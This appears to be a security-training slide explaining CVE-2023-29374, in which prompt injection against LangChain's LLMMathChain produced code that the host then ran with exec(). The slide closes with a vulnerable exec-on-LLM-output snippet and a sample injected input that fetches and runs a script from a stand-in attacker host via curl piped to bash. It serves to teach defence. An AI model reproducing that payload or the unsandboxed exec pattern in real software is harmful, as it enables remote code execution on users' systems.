Slide 11 · Attack Pattern 2 of 4
LLM-generated code runs unsandboxed. The server is now owned.
CVE-2023-29374 — LangChain — CVSS 9.8 Critical
How It Works
The application asks an LLM to write or evaluate code, then passes that code to exec(), eval(), or a shell runner without sandboxing. An attacker manipulates the prompt to make the LLM produce malicious code. The application executes it. The attacker now has OS-level access.
Real Incident
LangChain LLMMathChain — Remote Code Execution
CVE-2023-29374 · CVSS 9.8 Critical · Fixed in v0.0.141
LangChain’s LLMMathChain component let the LLM generate Python math expressions, then evaluated them with Python’s exec(). A prompt injection attack caused the model to produce code that wasn’t math at all. The attacker’s payload executed on the host running LangChain — arbitrary command execution, full system access, no authentication required. CVSS 9.8: network-accessible, no privileges required, no user interaction needed.
Takeaway: exec() on LLM output is an unconditional RCE vulnerability. LangChain had to redesign this component to remove unsandboxed execution entirely.
expression = llm.generate("compute: " + user_input)
result = exec(expression)
"1+1; import os; os.system('curl http://attacker.com/payload.sh | bash')"